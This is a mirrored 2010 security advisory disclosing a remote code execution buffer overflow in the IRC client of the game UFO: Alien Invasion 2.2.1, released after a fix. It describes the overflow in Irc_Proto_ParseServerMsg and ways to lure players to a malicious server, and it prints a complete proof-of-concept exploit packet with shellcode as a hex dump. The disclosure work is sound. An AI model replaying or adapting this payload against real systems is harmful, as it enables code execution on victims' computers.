Lucene search
K

UFO - Alien Invasion Code Execution

🗓️ 23 Jun 2010 00:00:00Reported by Jason GeffnerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Remote arbitrary code execution vulnerability in UFO: Alien Invasion 2.2.1. Very high risk. Responsible disclosure and fix released

Code
`Remote Arbitrary Code Execution Vulnerability in UFO: Alien Invasion  
--------------------------------------------------------------------  
  
June 18th, 2010  
  
=======  
Summary  
=======  
Name: Remote Arbitrary Code Execution Vulnerability in UFO: Alien Invasion  
Release Date: June 18th, 2010  
Discoverer: Jason Geffner  
Version Affected: UFO: Alien Invasion 2.2.1  
(version previous to UFO: Alien Invasion 2.2.1 not tested)  
Risk: Very High  
Status: Published  
  
============  
Introduction  
============  
This paper discusses how an unprivileged remote attacker can execute arbitrary  
code on networked players' computers. This vulnerability was responsibly  
disclosed to the UFO: Alien Invasion project leader and this advisory was not  
released until a stable fixed build of the game was released.  
  
==========  
Background  
==========  
"UFO: Alien Invasion is an open source strategy video game in which the player  
fights aliens that are trying to take control of the Earth. The game is heavily  
influenced by the X-COM series (mostly by UFO: Enemy Unknown). It is based on a  
modified id Tech 2 engine, and runs on Linux, Microsoft Windows, and Mac OS X  
for both PPC and Intel Macs. UFO:AI has been nominated for 'Best project for  
Gamers' in the Sourceforge 2007 and 2008 Community Choice Awards and was  
positively noted by Linux Journal." [1]  
  
========  
Timeline  
========  
04/29/08 UFO: Alien Invasion 2.2.1 released  
10/28/09 Remote arbitrary code execution vulnerability discovered in UFO: Alien  
Invasion 2.2.1  
10/31/09 Detailed vulnerability report responsibly disclosed to the UFO: Alien  
Invasion project leader  
11/02/09 Fix checked into source code trunk  
06/18/10 Stable build of UFO: Alien Invasion 2.3 released, fixing vulnerability  
06/18/10 Advisory released  
  
=============  
Vulnerability  
=============  
The IRC client component of UFO: Alien Invasion 2.2.1 contains multiple  
security vulnerabilities that allow a malicious IRC server to remotely execute  
arbitrary code on the client's system. There are numerous ways that an attacker  
could cause a player to connect to a malicious server, for example:  
  
- Perform a man-in-the-middle attack to inject IRC server responses into the  
TCP stream.  
- Use DNS poisoning to redirect the player's client from the real  
irc.freenode.org server to the attacker's malicious server.  
- Use the in-game "rcon" functionality against a server to remotely issue the  
command "irc_connect <attacker's server>" (passwords for rcon can be  
brute-forced and/or sniffed over the network since they're sent in  
plaintext).  
- Use social engineering to convince a player to press ~ and type "irc_connect  
<attacker's server>".  
  
There are numerous buffer overflow vulnerabilities that can be exploited in the  
IRC client component. The following vulnerability can be exploited in a single  
packet:  
  
The Irc_Proto_ParseServerMsg(...) function parses server messages of up to 1024  
bytes in length and writes to an irc_server_msg_t structure. This structure's  
last field is a 512-byte string buffer. A malformed server response can cause  
Irc_Proto_ParseServerMsg(...) to write past the end of the irc_server_msg_t  
structure and overwrite the return address for Irc_Logic_ReadMessages(...).  
  
=======  
Exploit  
=======  
See below for a proof-of-concept exploit packet for UFO: Alien Invasion 2.2.1  
for Windows. The payload will launch "mspaint.exe" and terminate the UFO: Alien  
Invasion process.  
  
00000000: 30 30 31 20 3a 41 41 41 41 41 41 41 41 41 41 41 001 :AAAAAAAAAAA  
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000000a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000000f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000100: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000110: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000120: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000130: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000140: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000150: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000160: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000170: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000180: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000190: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000001a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000001b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000001c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000001d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000001e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
000001f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000200: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000210: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000220: 41 41 41 41 41 41 41 41 41 41 41 41 41 28 50 d2 AAAAAAAAAAAAA(P.  
00000230: 0a 2b c9 83 e9 cd e8 ff ff ff ff c0 5e 81 76 0e .+..........^.v.  
00000240: 76 83 85 b6 83 ee fc e2 f4 8a 6b 0c b6 76 83 e5 v.........k..v..  
00000250: 3f 93 b2 57 d2 fd d1 b5 3d 24 8f 0e e4 62 08 f7 ?..W....=$...b..  
00000260: 9e 79 34 cf 90 47 7c b4 76 da bf e4 ca 74 af a5 .y4..G|.v....t..  
00000270: 77 b9 8e 84 71 94 73 d7 e1 fd d1 95 3d 34 bf 84 w...q.s.....=4..  
00000280: 66 fd c3 fd 33 b6 f7 cf b7 a6 d3 0e fe 6e 08 dd f...3........n..  
00000290: 96 77 50 66 8a 3f 08 b1 3d 77 55 b4 49 47 43 29 .wPf.?..=wU.IGC)  
000002a0: 77 b9 8e 84 71 4e 63 f0 42 75 fe 7d 8d 0b a7 f0 w...qNc.Bu.}....  
000002b0: 54 2e 08 dd 92 77 50 e3 3d 7a c8 0e ee 6a 82 56 T....wP.=z...j.V  
000002c0: 3d 72 08 84 66 ff c7 a1 92 2d d8 e4 ef 2c d2 7a =r..f....-...,.z  
000002d0: 56 2e dc df 3d 64 68 03 eb 1c 82 08 33 cf 83 85 V...=dh.....3...  
000002e0: b6 26 eb b4 3d 19 04 7a 63 cd 73 30 14 20 eb 23 .&..=..zc.s0. .#  
000002f0: 23 cb 1e 7a 63 4a 85 f9 bc f6 78 65 c3 73 38 c2 #..zcJ....xe.s8.  
00000300: a5 04 ec ef b6 25 7c 50 db 05 f3 e4 df 18 f7 ab .....%|P........  
00000310: d3 0e e6 85 b6 0d 0a .......  
  
==========  
Conclusion  
==========  
Safe string handling functions should be used instead of their standard CRT  
equivalents or inlined string copies.  
  
===============  
Fix Information  
===============  
This issue has now been resolved. UFO: Alien Invasion 2.3 can be downloaded  
from http://ufoai.ninex.info/wiki/index.php/Download  
  
==========  
References  
==========  
[1] http://en.wikipedia.org/wiki/UFO:_Alien_Invasion  
  
NGSSoftware Insight Security Research  
http://www.ngssoftware.com/  
http://www.databasesecurity.com/  
http://www.nextgenss.com/  
+44(0)208 401 0070  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation